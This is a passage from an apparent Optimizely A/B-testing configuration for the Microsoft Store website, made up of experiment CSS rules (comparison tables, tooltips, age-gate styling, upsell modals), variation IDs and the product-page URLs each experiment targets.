td{\n width:16% !important; \n background-color:transparent;\n}\n.exp-officecompare-toggler table.exp-comparetable.four-prod td + td{\n width:21% !important;\n}\n.exp-officecompare-toggler table.exp-comparetable.three-prod td{\n width:16% !important; \n background-color:#fff;\n}\n.exp-officecompare-toggler table.exp-comparetable.three-prod td + td{\n width:28% !important;\n}\n.exp-officecompare-toggler table.exp-comparetable tr:nth-child(2n + 1) td{\n background-color:#f8f8f8; \n}\n.exp-officecompare-toggler table.exp-comparetable td.horiz-align{\n vertical-align:middle; \n}\n.exp-officecompare-toggler table.exp-comparetable td{\n padding-bottom:2px !important;\n border-bottom:0;\n border-right:2px solid #fff;\n vertical-align:middle;\n}\n.exp-officecompare-toggler table.exp-comparetable td.highlight{\n background-color:#e3f0f6 !important;\n}\n.exp-officecompare-toggler table.exp-comparetable .installation td .content{\n margin-top:0;\n font-family: \"wf_SegoeUI\",\"Segoe UI\",\"Segoe\",\"Segoe WP\",\"Tahoma\",\"Verdana\",\"Arial\",\"sans-serif\";\nfont-size: 15px; \n}\n.exp-officecompare-toggler table.exp-comparetable .label{\n margin-top:15px; \n min-height:38px;\nfont-family: \"wf_SegoeUI\",\"Segoe UI\",\"Segoe\",\"Segoe WP\",\"Tahoma\",\"Verdana\",\"Arial\",\"sans-serif\";\nfont-size: 15px; \n}\n.exp-officecompare-toggler table.exp-comparetable .label img + sup{\n font-size: 9px;\ntop: -9px; \nleft:-2px;\n}\n.exp-officecompare-toggler table.exp-comparetable .exp-buybox td{\n padding-bottom:20px !important; \n}\n.exp-officecompare-toggler table.exp-comparetable .exp-price td .content{\n margin-top:0; \nfont-family: \"wf_SegoeUI\",\"Segoe UI\",\"Segoe\",\"Segoe WP\",\"Tahoma\",\"Verdana\",\"Arial\",\"sans-serif\";\nfont-size: 15px; \n}\n\n/* Buy Box */\n.exp-officecompare-toggler table.exp-comparetable .exp-product p{\n color:#1570a6; \n font-weight:normal;\n height:40px;\n}\n/* Price */\n.exp-officecompare-toggler table.exp-comparetable .exp-price td .content{\n text-align:center; \n}\ntable.exp-comparetable .content span{\n font-size:inherit; \n}\n\n/* Labels */\n.exp-officecompare-toggler table.exp-comparetable td:first-child .label img{\n display:inline-block;\n margin:0;\n}\n\n/* Info Icon */\n.info-icon{\ndisplay:inline-block;\nwidth:20px;\nheight:20px;\nbackground:url('//cdn.optimizely.com/img/222980912/f9414a9067ab40529b0ab5fc4f2b519b.png') no-repeat left top;\nposition:relative;\ncursor:pointer;\nmargin-left: 3px;\ntop: -2px;\n}\n.info-icon.text-only{\n top:4px;\n}\n.info-icon.selected .custom-tooltip{\ndisplay:block;\n}\n.info-icon .custom-tooltip{\ndisplay:none;\nposition:absolute;\nwidth:185px;\npadding-left:16px;\nbackground:url('//cdn.optimizely.com/img/222980912/559ffca52373473f98f586c150a71696.png') no-repeat left 20px;\ntop:-25px;\nleft:15px;\nz-index:10;\ncursor: initial;\n}\n.info-icon .custom-tooltip .tooltip-background{\nbackground-color:rgba(0,0,0,.8);\npadding:10px;\ncolor:#fff;\n}\n.info-icon .custom-tooltip p{\ndisplay:inline-block;\nmargin:0;\nline-height:20px;\nfont-size:13px;\n}\t\n\n\n\n/* Variation 2 */\n/* Tab Toggler */\n.exp-officecompare-toggler-v2 .table-toggler .toggle-wrapper{\n width:407px;\n margin:0 auto;\n}\n.exp-officecompare-toggler-v2 .table-toggler a{\n width:200px;\n height:50px;\n line-height:50px;\n text-align:center;\n font-weight:bold;\n font-size:16px;\n background-color:#eee;\n color:#0d75c2;\n display:inline-block;\n float:left;\n}\n.exp-officecompare-toggler-v2 .table-toggler a + a{\n border-left:2px solid #fff; \n}\n.exp-officecompare-toggler-v2 .table-toggler a:hover,\n.exp-officecompare-toggler-v2 .table-toggler a.active{\n background-color:#0d75c2;\n color:#fff;\n}\n.exp-officecompare-toggler-v2 .table-toggler a:hover{\n text-decoration:underline; \n}\n.exp-officecompare-toggler-v2 .table-toggler a.active{\n text-decoration:none; \n}\n/* Toggle */\n.exp-officecompare-toggler-v2 table.exp-comparetable{\n display:none; \n border-top:0;\n}\n.exp-officecompare-toggler-v2 table.exp-comparetable td{\n line-height:20px; \n}\n.exp-officecompare-toggler-v2 table.exp-comparetable.active{\n display:table; \n}\n.exp-officecompare-toggler-v2 table.exp-comparetable th{\n height:48px; \n}\n.exp-officecompare-toggler-v2 table.exp-comparetable th.active .shell{\n\tborder:1px solid #c1c1c1; \n color:#767676;\n height:40px;\n line-height:40px;\n text-align:center;\n font-size:13px;\n font-weight:bold;\n position:relative;\n top:8px;\n}\n.exp-officecompare-toggler-v2 table.exp-comparetable th.active .arrow{\n height:8px;\n width:16px;\n position:relative;\n top:7px;\n\tmargin:0 auto;\n background:url('//cdn.optimizely.com/img/222980912/047e9aca1c3b4c479c49b3fb4340a94b.png') no-repeat center bottom; \n}\n.exp-officecompare-toggler-v2 table.exp-comparetable .exp-buybox .exp-product img{\n height:132px; \n}\n/* Tables */\n.exp-officecompare-toggler-v2 table.exp-comparetable.five-prod .exp-buybox a{\n color:#1570a6; \n font-family: \"wf_SegoeUI\",\"Segoe UI\",\"Segoe\",\"Segoe WP\",\"Tahoma\",\"Verdana\",\"Arial\",\"sans-serif\";\nfont-size: 15px; \n}\n.exp-officecompare-toggler-v2 table.exp-comparetable.five-prod td{\n width:16% !important; \n}\n.exp-officecompare-toggler-v2 table.exp-comparetable.five-prod td + td{\n width:16.8% !important;\n}\n.exp-officecompare-toggler-v2 table.exp-comparetable tr:nth-child(2n + 1) td{\n background-color:#f8f8f8; \n}\n.exp-officecompare-toggler-v2 table.exp-comparetable td.horiz-align{\n vertical-align:middle; \n}\n.exp-officecompare-toggler-v2 table.exp-comparetable td{\n padding-bottom:2px !important;\n border-bottom:0;\n border-right:2px solid #fff;\n vertical-align:middle;\n background-color:transparent;\n}\n.exp-officecompare-toggler-v2 table.exp-comparetable td.highlight{\n background-color:#e3f0f6 !important;\n}\n.exp-officecompare-toggler-v2 table.exp-comparetable .installation td .content{\n margin-top:0;\nfont-family: \"wf_SegoeUI\",\"Segoe UI\",\"Segoe\",\"Segoe WP\",\"Tahoma\",\"Verdana\",\"Arial\",\"sans-serif\";\nfont-size: 15px; \n}\n.exp-officecompare-toggler-v2 table.exp-comparetable .label{\n margin-top:10px; \n min-height:38px;\n}\n.exp-officecompare-toggler-v2 table.exp-comparetable .label img + sup{\n font-size: 9px;\ntop: -9px; \nleft:-2px;\n}\n.exp-officecompare-toggler-v2 table.exp-comparetable .exp-buybox td{\n padding-bottom:20px !important; \n}\n.exp-officecompare-toggler-v2 table.exp-comparetable .exp-price td .content{\n margin-top:0; \n}\n\n/* Buy Box */\n.exp-officecompare-toggler-v2 table.exp-comparetable .exp-product p{\n color:#1570a6; \n font-weight:normal;\n height:40px;\n}\n/* Price */\n.exp-officecompare-toggler-v2 table.exp-comparetable .exp-price td .content{\n text-align:center; \nfont-family: \"wf_SegoeUI\",\"Segoe UI\",\"Segoe\",\"Segoe WP\",\"Tahoma\",\"Verdana\",\"Arial\",\"sans-serif\";\nfont-size: 15px; \n}\n/* Labels */\n.exp-officecompare-toggler-v2 table.exp-comparetable td:first-child .label img{\n display:inline-block;\n margin:0;\n}\n.exp-officecompare-toggler div.buyBtn_AddtoCart,\n.exp-officecompare-toggler-v2 div.buyBtn_AddtoCart{\n font-size:16px; \n}\n\n\n.exp-officecompare-toggler table.exp-comparetable col + col.hover,\n.exp-officecompare-toggler-v2 table.exp-comparetable col + col.hover{\n background-color:rgba(109,194,233,-0.9);\n}\n.exp-officecompare-toggler table.exp-comparetable td + td.hover,\n.exp-officecompare-toggler-v2 table.exp-comparetable td + td.hover{\n background-color:rgba(109,194,233,.1) !important; \n}\n.exp-officecompare-toggler table.exp-comparetable tr.odd-row td + td.hover,\n.exp-officecompare-toggler-v2 table.exp-comparetable tr.odd-row td + td.hover{\n background-color:#e3f0f6 !important; \n}","variation_ids":["2565920461","2570850811","2590940150"],"ignore":10000,"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/html/pbpage.OfficeCompare"}],"enabled_variation_ids":["2565920461","2570850811","2590940150"]},"2593480067":{"css":"html.hide-chat #videodesk{\n display:none !important;\n}","variation_ids":["2580070862","2592310206"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/Xbox/categoryID.62684900"}],"enabled_variation_ids":["2580070862","2592310206"]},"2386960774":{"css":".exp12115Var .category-banner-4up{\n display:none;\n}","variation_ids":["2354271275","2399720140","2362151415"],"site_catalyst_evar":1,"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/Office/categoryID.62684700"},{"match":"substring","value":"/categoryID.62684700"}],"enabled_variation_ids":["2354271275","2399720140","2362151415"],"site_catalyst_prop":1},"2434110347":{"audiences":[2517780538],"css":".exp-bandtemplate .nav-wrap{\n display:none !important; \n}\n.exp-bandtemplate .sticky-header.sticky{\n \tposition:fixed;\n top:0;\n width:100%;\n z-index:100;\n}\n.exp-bandtemplate .rwd .tier-one-hero .large-container{\n min-height:inherit !important; \n}\n/* Compare Chart */\n.exp-bandtemplate #compare{\n margin:80px 0; \n}\n.exp-bandtemplate #compare .product-comparison-chart-container > h2,\n.exp-bandtemplate #compare .product-comparison-chart-container > a{\n display:none !important; \n}\n.exp-bandtemplate #buy-product{\n margin-top:3.75em; \n}\n\n/* Hide Overview Stuff */\n.exp-bandtemplate #overview .overview-full-bleed-hero,\n.exp-bandtemplate #overview .pdp-overview-storytelling,\n.exp-bandtemplate section.category-products-wrapper{\n display:none !important; \n}\n\n.exp-bandtemplate #compare .comparison-row.heading-row .first-col-static h3{\n font-family:\"wf_SegoeUILight\",\"Segoe UI\",\"Segoe\",\"Segoe WP\",\"Tahoma\",\"Verdana\",\"Arial\",\"sans-serif\";\n font-size:25px;\n margin-top:5px;\n margin-bottom:5px;\n line-height:30px;\n}\n.exp-bandtemplate .new-pdp-hero .breadcrumbs{\n display:none; \n}","clicktale":true,"variation_weights":{"2437890473":5000,"2467710083":5000},"enabled":true,"variation_ids":["2467710083","2437890473"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Surface-Pro-3/productID.300190600"}],"enabled_variation_ids":["2467710083","2437890473"]},"2206812045":{"variation_ids":["2216181044","2221501084","2225500071","2201961185"],"urls":[{"match":"substring","value":"/productID.308245400"},{"match":"substring","value":"/productID.308246300"},{"negate":true,"match":"substring","value":"/buy"}],"enabled_variation_ids":["2216181044","2221501084","2225500071","2201961185"]},"2203580302":{"css":".exp-1-49{\n cursor: pointer;\n}","variation_ids":["2223960107","2217220541"],"urls":[{"match":"simple","value":"https://www.microsoftstore.com/store?Action=DisplayPage&Env=BASE&Locale=en_US&SiteID=msusa&id=ThreePgCheckoutConfirmOrderPage"}],"enabled_variation_ids":["2223960107","2217220541"]},"2363081110":{"css":".exp-countdown{\nbackground-color:#00AFF0;\nwidth:100%;\n}\n.exp-countdown .exp-wrapper{\nwidth:100%;\nposition:relative;\n}\n.exp-countdown .exp-wrapper a,\n.exp-countdown .exp-wrapper .banner-wrapper{\ntext-align:center;\ncolor:#fff;\nheight:100%;\ntext-decoration:none;\ndisplay:block;\n}\n.exp-countdown .exp-wrapper .exp-content{\npadding-top:5px;\npadding-bottom:5px;\n}\n.exp-countdown .exp-wrapper .exp-content sup{\nposition:absolute;\n}\n.exp-countdown .exp-wrapper img{\nwidth:100%;\nheight:auto;\nmax-height:40px;\n}\n\n@media \nonly screen and (max-width: 1050px){\n .exp-countdown{\n font-size:.9em;\n }\n}","variation_ids":["2366891285","2361780765"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store"}],"enabled_variation_ids":["2366891285","2361780765"]},"2562390935":{"variation_ids":["2561430817","2558030932"],"urls":[{"match":"substring","value":"DisplayProductSearchResultsPage"}],"enabled_variation_ids":["2558030932"]},"2134400419":{"variation_ids":["2128621237","2112442917"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/html/pbPage.Rewards"}],"enabled_variation_ids":["2112442917"]},"2212531120":{"variation_ids":["2199561564","2222671170","2222910689","2213100987"],"urls":[{"match":"substring","value":"/productID.307250100"},{"negate":true,"match":"substring","value":"/buy"}],"enabled_variation_ids":["2199561564","2222671170","2222910689","2213100987"]},"2591260089":{"css":"html.hide-chat #videodesk{\n display:none !important;\n}","variation_ids":["2585080120","2583090072"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Surface-Pro-3/productID.300190600"}],"enabled_variation_ids":["2585080120","2583090072"]},"2234000314":{"variation_ids":["2269900067","2213591939"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/buy/productID.304047100/ThemeID.33363200/Currency.USD/mktp.US/"}],"enabled_variation_ids":["2269900067","2213591939"]},"2470150086":{"variation_weights":{"2462470663":2500,"2466990282":2500,"2432920759":2500,"2471440068":2500},"enabled":true,"variation_ids":["2466990282","2462470663","2432920759","2471440068"],"urls":[{"match":"simple","value":"https://www.microsoftstore.com/store?Action=DisplayPage&Env=DESIGN&Locale=en_US&SiteID=msusa&id=ThankYouPage&reqID=14805640000"},{"match":"substring","value":"ThankYouPage"}],"enabled_variation_ids":["2466990282","2462470663","2432920759","2471440068"]},"2161450449":{"variation_ids":["2169820037","2177390159"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.308308800"}],"enabled_variation_ids":["2169820037","2177390159"]},"2412760531":{"variation_ids":["2459460340","2444720189"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/home"}],"enabled_variation_ids":["2459460340","2444720189"]},"2615000022":{"css":".exp-rr-star-color-var1 .bv-cleanslate .bv-core-container-429 .bv-inline-rating-container .bv-rating-stars-off{\n color: #ccc !important;\n}\n.exp-rr-star-color-var1 .bv-cleanslate .bv-core-container-429 .bv-inline-rating-container .bv-rating-stars-on{\n color: #0078d6 !important;\n}\n.exp-rr-star-color-var2 .bv-cleanslate .bv-core-container-429 .bv-inline-rating-container .bv-rating-stars-off{\n color: #ccc !important;\n}\n.exp-rr-star-color-var2 .bv-cleanslate .bv-core-container-429 .bv-inline-rating-container .bv-rating-stars-on{\n color: #000000 !important;\n}","variation_ids":["2632610019","2620610031","2601750664"],"urls":[{"match":"substring","value":"/pdp/"},{"match":"substring","value":"/productID."},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/"}],"enabled_variation_ids":["2632610019","2620610031","2601750664"]},"2412190680":{"audiences":[2098840430,1630774099],"css":".exp-sticky-header .office-compare .exp-comparetable.sticky tbody > tr:first-child{\n display:none; \n}\n.exp-sticky-header .office-compare .exp-comparetable.sticky .exp-buybox{\n display:none;\n}\n.exp-sticky-header .exp-sticky-wrapper{\n display:none; \n position:fixed;\n top:0;\n width:100%; \n z-index:10;\n}\n.exp-sticky-header .exp-sticky-wrapper.sticky{\n \tdisplay:block;\n}\n.exp-sticky-header .exp-sticky-wrapper .exp-comparetable{\n \tz-index:10; \n margin-top:0;\n}\n\n/* Product Variation Selector */\n.exp-version-selector{\n min-height:75px; \n font-size:13px;\n}\n.exp-version-selector.variations{\n\ttext-align:left;\n}\n.exp-version-selector span{\n font-size: 20px; \n}\n.exp-version-selector.variations input{\n\tposition:relative;\n top:-3px;\n}\n.exp-comparetable .exp-buybox td{\npadding-right:0;\n}\n.exp-comparetable .exp-buybox td a{\n padding-right:12px; \n}\n\n\n","clicktale":true,"variation_ids":["2437420775","2410700725","2454580079","2417970685"],"site_catalyst_evar":45,"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/html/pbpage.OfficeCompare"}],"enabled_variation_ids":["2437420775","2410700725","2454580079","2417970685"],"site_catalyst_prop":45},"2500470239":{"clicktale":true,"variation_ids":["2497390269","2494920232"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/home"}],"enabled_variation_ids":["2497390269","2494920232"]},"2497301984":{"css":".exp-vc-inv-msg-hide-office #videodesk{\n visibility: hidden !important;\n}\n.exp-vc-inv-msg-visible-office #videodesk{\n visibility: visible !important;\n}\n.exp-vc-inv-msg-office{\n font-size:18px !important;\n}","variation_ids":["2496930307","2511470297"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Office-365-Home/productID.286395000"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Office-365-Personal/productID.297833200"}],"enabled_variation_ids":["2496930307","2511470297"]},"2506470379":{"css":".exp-office-upsell-141 .variation-container .exp-hide-ctrl{\n display:none !important;\n}\n.exp-office-upsell-141 .variation-container .option-list{\n display:none;\n}\n.exp-modal-addon{\n background-color: #fff;\n max-width: 36.25em;\n}\n.exp-office-upsell-141 .mfp-content{\n max-width: 36.25em !important;\n}\n.exp-modal-addon .container-fluid{\n margin-top: -20px;\n}\n.exp-modal-addon .container-fluid .row{\n padding-top: 10px;\n}\n.exp-12-09{\n\tpadding: 0.63em;\n float: right;\n margin: 3.125em 0 0 0;\n}\n.exp-2-28{\n\tpadding: 0.63em;\n display: inline-block;\n}\n\n.exp-modal-addon .heading--large {\n display: inline-block;\n top: -0.375em;\n line-height: 1.5;\n}\n\n.exp-modal-addon .price {\n display: inline-block;\n font-size: 1.5em;\n margin-left: 0.95em;\n margin-top: 0.25em;\n}\n.exp-modal-addon .heading--large {\n display: inline-block;\n font-size: 2em;\n margin-top: 0.25em;\n line-height: 1.5;\n}","variation_ids":["2495940367","2504160481"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/MSI-AG270-2PE-019US-Signature-Edition-Gaming-All-in-One/productID.308016100"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/MSI-GT72-Dominator-Pro-610-Signature-Edition-Gaming-Laptop/productID.311267500"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/MSI-GS60-2PC-Ghost-231US-Signature-Edition-Gaming-Laptop/productID.306274700"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Dell-XPS-8700-X8700-2812BLK-Signature-Edition-Desktop/productID.309175700"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/MSI-GE70-ApachePro-247-Signature-Edition-Gaming-Laptop/productID.306280700"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Toshiba-Satellite-Radius-11-Signature-Edition-Laptop/productID.309174800"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Lenovo-A540-F0AN-Signature-Edition-All-in-One/productID.304809100"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/HP-ENVY-Recline-TouchSmart-27-k161-Signature-Edition-All-in-One/productID.307284800"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/HP-ENVY-Phoenix-810-810-160-Signature-Edition-Desktop/productID.308015200"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Samsung-ATIV-Book-9-Plus-Signature-Edition-Laptop/productID.306279800"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Dell-Alienware-Alpha-Signature-Edition-Gaming-Desktop/productID.309175100"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Acer-Aspire-E5-571P-59QA-Signature-Edition-Laptop/productID.308795800"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Acer-Aspire-V-15-Nitro-VN7-591G-70JY-Signature-Edition-Laptop/productID.309724600"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Toshiba-Satellite-P55T-B5262-Signature-Edition-Laptop/productID.309174900"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Lenovo-A740-Signature-Edition-All-in-One/productID.308014300"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Lenovo-Y70-70T-Signature-Edition-Gaming-Laptop/productID.307627100"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/HP-Pavilion-x2-10-k077nr-Signature-Edition-2-in-1-PC/productID.309725500"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Lenovo-ThinkPad-Yoga-i7-256GB-Signature-Edition-2-in-1-PC/productID.306276200"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Lenovo-ThinkPad-Yoga-i5-128GB-Signature-Edition-2-in-1-PC/productID.306262600"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Lenovo-Y50-4K-Ultra-HD-Signature-Edition-Gaming-Laptop/productID.306275000"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Lenovo-ThinkPad-Yoga-Touchscreen-2-in-1---Signature-Edition/productID.295784300"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Dell-Inspiron-17-i7737T-4994sLV-Signature-Edition-Laptop/productID.309175400"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Acer-Aspire-Switch-11-Core-i5-Signature-Edition-2-in-1-PC/productID.308793700"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/ASUS-Transformer-Book-Flip-TP500L-Signature-Edition-Laptop/productID.304981400"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/ASUS-VivoTab-8-M81C-B1-MSBK-Signature-Edition-Tablet/productID.307626900"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/HP-Stream-14-z010nr-Signature-Edition-Laptop/productID.308012500"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Dell-Inspiron-23-i5348-5557BLK-Signature-Edition-All-in-One/productID.309175200"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Dell-Inspiron-23-i5348-5557BLK-Signature-Edition-All-in-One/productID.309175500"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Dell-XPS-13-7144sLV-Signature-Edition-Laptop/productID.306260800"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Acer-Aspire-R-13-R7-371T-50V5-Signature-Edition-Laptop/productID.309725200"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Acer-Aspire-Switch-11-Core-i3-Signature-Edition-2-in-1-PC/productID.308793400"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Dell-XPS-13-4289-Signature-Edition-Laptop/productID.306275600"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/ASUS-Transformer-Book-Flip-TP300LA-Signature-Edition-Laptop/productID.308008300"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Dell-Inspiron-13-i7347-10051sLV-Signature-Edition-2-in-1-PC/productID.308794600"}],"enabled_variation_ids":["2495940367","2504160481"]},"2404940272":{"audiences":[2508580753],"css":".exp-age-gate-856 .age-gate-container{\n display:none;\n}\n.exp-age-gate-856 #body{\n display: block;\n}\n.exp-age-gate-958 .exp-wrapper{\n text-align: center;\n padding: 5px;\n border-bottom: solid 1px black\n}\n.exp-age-gate-958 .expAgeBanner p{\n display:inline;\n}\n.exp-age-gate-958 .expAgeBanner .date-picker{\n display:inline;\n margin-left:5px;\n}\n.exp-age-gate-958 .expAgeBanner .submit{\n display:inline;\n margin-left:5px;\n}\n.exp-age-gate-958 .exp-Img-958{\n position:absolute;\n -webkit-filter: blur(10px);\n -moz-filter: blur(10px);\n -o-filter: blur(10px);\n -ms-filter: blur(10px);\n filter: blur(10px);\n}\n.exp-age-gate-958 .grid-container{\n position:relative; \n}\n.exp-age-gate-958 .row-padded-top-small{\n -webkit-filter: blur(10px);\n -moz-filter: blur(10px);\n -o-filter: blur(10px);\n -ms-filter: blur(10px);\n filter: blur(10px);\n}\n.exp-age-gate-958 .hero-box.exp-age-gate-back{\n -webkit-filter: blur(10px);\n -moz-filter: blur(10px);\n -o-filter: blur(10px);\n -ms-filter: blur(10px);\n filter: blur(10px);\n}\n.exp-age-gate-958 .media-container{\n -webkit-filter: blur(10px);\n -moz-filter: blur(10px);\n -o-filter: blur(10px);\n -ms-filter: blur(10px);\n filter: blur(10px);\n}\n\n.exp-age-gate-958-hide{\n display: none;\n}\n\n.exp-age-gate .buy-box .product-data-container{\n\twidth: 100%;\n\tfloat: right;\n\tmargin-left: 0;\n\tmargin-right: 0;\n\tclear: none;\n}\n\n@media screen and (min-width: 33.8125em){\n.exp-age-gate .buy-box .product-data-container {\nwidth: 100%;\nfloat: right;\nmargin-left: 0;\nmargin-right: 0;\nclear: none;\n}\n}\n@media screen and (min-width: 48.0625em){\n.exp-age-gate .buy-box .product-data-container {\nwidth: 48.9361702128%;\nfloat: right;\nmargin-left: 0;\nmargin-right: 0;\nclear: none;\n}\n}\n\n.exp-age-gate .buy-box .title-block {\nmargin-bottom: 0.875em;\n}\n\n.exp-age-gate .buy-box .title-block.title-desktop {\ndisplay: none;\n}\n\n@media screen and (min-width: 48.0625em){\n.exp-age-gate .buy-box .title-block.title-desktop {\ndisplay: block;\n}\n}\n\n@media screen and (min-width: 48.0625em){\n.exp-age-gate.black-theme .product-data-container {\nbackground-color: #1a1a1a;\nbackground-color: rgba(26,26,26,0.7);\ncolor: #fff;\npadding: 0.9375em;\n}\n}\n\n.exp-age-gate .buy-box h1 {\nfont-size: 1.625em;\nmargin: 0.3125em 0 0 0;\n}\n\n.exp-age-gate .buy-box .title-block h1 {\nfont-size: 1.5625em;\nline-height: 1.2;\n}\n\n.exp-age-gate .buy-box .rating-summary {\nmargin-bottom: 0.625em;\n}\n\n.exp-age-gate .buy-box .price-block {\nmargin-bottom: 1.25em;\n}\n\n.exp-age-gate input {\nfont-size: 0.8125em;\n}\n\n.exp-age-gate input, .exp-age-gate select {\nvertical-align: middle;\n}\n\n.exp-age-gate .buy-box .pdp-cta+.description-block {\nmargin-top: 0.875em;\n}\n.exp-age-gate .buy-box .description-block {\nmargin-top: 0;\n}\n\n@media screen and (min-width: 33.8125em){\n.exp-age-gate .buy-box .description-block.description-mobile {\ndisplay: none;\n}\n}\n\n.exp-age-gate .pdp-cta.add-to-cart {\nmargin-top: 1.25em;\n}\n\n.exp-age-gate .buy-box .dr_quantity {\ndisplay: none;\n}\n\n.exp-age-gate p {\nfont-size: 0.875em;\nmargin: 0;\nline-height: 1.428571428em;\n}\n\n.exp-age-gate p {\nfont-size: 1em;\n}\n\n.exp-age-gate .buy-box .title-block {\nmargin-bottom: 0.875em;\n}\n\n@media screen and (min-width: 48.0625em){\n.exp-age-gate .buy-box .title-block.title-mobile {\ndisplay: none;\n}\n}\n.exp-age-gate-back .product-data-container{\n visibility:hidden;\n}\n.exp-age-gate{\n position:absolute;\n background-image: none !important;\n background: none !important;\n}\n.exp-age-gate .product-data-container{\n position: absolute;\n}","variation_ids":["2408600280","2405880299"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Call-of-Duty-Advanced-Warfare-for-Xbox-One/productID.311272700"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Borderlands-2-for-Xbox-360/productID.253756800"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Dragon-Age-Inquisition-for-Xbox-One/productID.282712500"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Dragon-Age-Inquisition-for-Xbox-360/productID.306855800"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Dying-Light-for-Xbox-One/productID.282205200"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Evolve-for-Xbox-One/productID.296776700"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Grand-Theft-Auto-V-for-Xbox-One/productID.310319300"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Halo-5-Guardians-for-Xbox-One/productID.313091300"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Halo-The-Master-Chief-Collection-for-Xbox-One/productID.306439600"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Metal-Gear-Solid-V-The-Phantom-Pain-for-Xbox-One/productID.282497300"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Sunset-Overdrive-for-Xbox-One/productID.311272400"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/The-Evil-Within-for-Xbox-One/productID.285251800"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/The-Witcher-3-Wild-Hunt-for-Xbox-One/productID.282497100"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Titanfall/productID.297657400"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Watchdogs/productID.300181700"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Wolfenstein-The-New-Order-for-Xbox-360/productID.281376800"}],"enabled_variation_ids":["2408600280","2405880299"]},"2442420210":{"audiences":[2221641343],"css":"\n/*****************************\nCSS\n*****************************/\n.experiment-addon .variation-container .addon{\ndisplay:none; \n}\n.experiment-addon .buySpan_AddtoCart{\nvisibility:hidden !important;\nposition:absolute !important;\n}\n/* If out of stock */\n.experiment-addon-outofstock .buySpan_AddtoCart{\nvisibility:visible !important;\nposition:relative !important;\n}\n.experiment-addon-outofstock .exp-modal{\ndisplay:none !important;\n}\n\n.experiment-addon a.exp-modal {\n padding: 0.4375em 1.875em 0.4375em 1.875em;\n width: 100%;\n width: 